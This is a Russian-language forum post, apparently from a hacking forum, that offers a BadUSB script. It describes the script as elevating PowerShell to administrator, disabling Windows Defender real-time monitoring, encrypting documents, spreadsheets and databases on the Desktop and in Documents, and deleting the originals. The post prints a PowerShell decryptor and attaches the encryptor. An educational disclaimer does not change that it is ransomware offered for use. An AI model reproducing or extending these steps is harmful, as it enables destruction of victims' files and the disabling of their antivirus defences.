- Регистрация
- 01.09.24
- Сообщения
- 63
- Реакции
- 4
Дисклеймер:данный скрипт создан в образовательных и научных целях, автор не несет ответственность за ваши действия!!!!
Данный скрипт создан для функции Badusb
Основные функции скрипта:
1) Повышение привилегий:
Открывает окно PowerShell с правами администратора
Использует команду Start-Process powershell -Verb RunAs
2) Отключение антивирусного ПО:
Пытается отключить Windows Defender через команду Set-MpPreference -DisableRealtimeMonitoring $true
Содержит закомментированные примеры отключения сторонних антивирусов
3) Шифрование файлов:
Определяет целевые директории (Документы и Рабочий стол)
Задает список расширений файлов для шифрования (.sql, .mdb, .accdb, .xls, .xlsx, .xlsm, .doc, .docx)
Использует ключ шифрования (который указан в скрипте является слабым местом)
Шифрует файлы, сохраняя их копии с расширением .encrypted
Удаляет оригиналы после успешного шифрования
Внимание
Если надо расшифровать зашифрованные файлы воспользуйтесь эти PowerShell скриптом:
Скачать // Download:
Данный скрипт создан для функции Badusb
Основные функции скрипта:
1) Повышение привилегий:
Открывает окно PowerShell с правами администратора
Использует команду Start-Process powershell -Verb RunAs
2) Отключение антивирусного ПО:
Пытается отключить Windows Defender через команду Set-MpPreference -DisableRealtimeMonitoring $true
Содержит закомментированные примеры отключения сторонних антивирусов
3) Шифрование файлов:
Определяет целевые директории (Документы и Рабочий стол)
Задает список расширений файлов для шифрования (.sql, .mdb, .accdb, .xls, .xlsx, .xlsm, .doc, .docx)
Использует ключ шифрования (который указан в скрипте является слабым местом)
Шифрует файлы, сохраняя их копии с расширением .encrypted
Удаляет оригиналы после успешного шифрования
Внимание
Если надо расшифровать зашифрованные файлы воспользуйтесь эти PowerShell скриптом:
Код:
# Указываем директории для поиска зашифрованных файлов
$targetDirectories = @(
"$env:USERPROFILE\Documents",
"$env:USERPROFILE\Desktop"
)
# Указываем расширения зашифрованных файлов
$encryptedExtensions = @(".encrypted")
# Вставляем тот же ключ шифрования, который использовался при шифровании
$encryptionKey = "YOURSECRETENCRYPTIONKEYHERE"
# Проходим по всем директориям
foreach ($dir in $targetDirectories) {
foreach ($ext in $encryptedExtensions) {
# Получаем список зашифрованных файлов
$files = Get-ChildItem -Path $dir -Filter "*$ext" -Recurse -ErrorAction SilentlyContinue
foreach ($file in $files) {
try {
$filePath = $file.FullName
$originalFilePath = $filePath.Replace(".encrypted", "")
# Читаем зашифрованное содержимое
$encryptedContent = Get-Content -Path $filePath -Encoding ASCII
# Расшифровываем данные
$decryptedContent = [System.Security.Cryptography.ProtectedData]::Unprotect(
[System.Convert]::FromBase64String($encryptedContent),
$null,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser
)
# Сохраняем расшифрованный файл
[System.IO.File]::WriteAllBytes($originalFilePath, $decryptedContent)
# Удаляем зашифрованную версию
Remove-Item -Path $filePath -Force
Write-Host "Расшифрован: $($file.Name)"
}
catch {
Write-Host "Ошибка при расшифровке $($file.Name): $($_.Exception.Message)"
}
}
}
}
Вложения
-
1.3 KB Просмотры: 0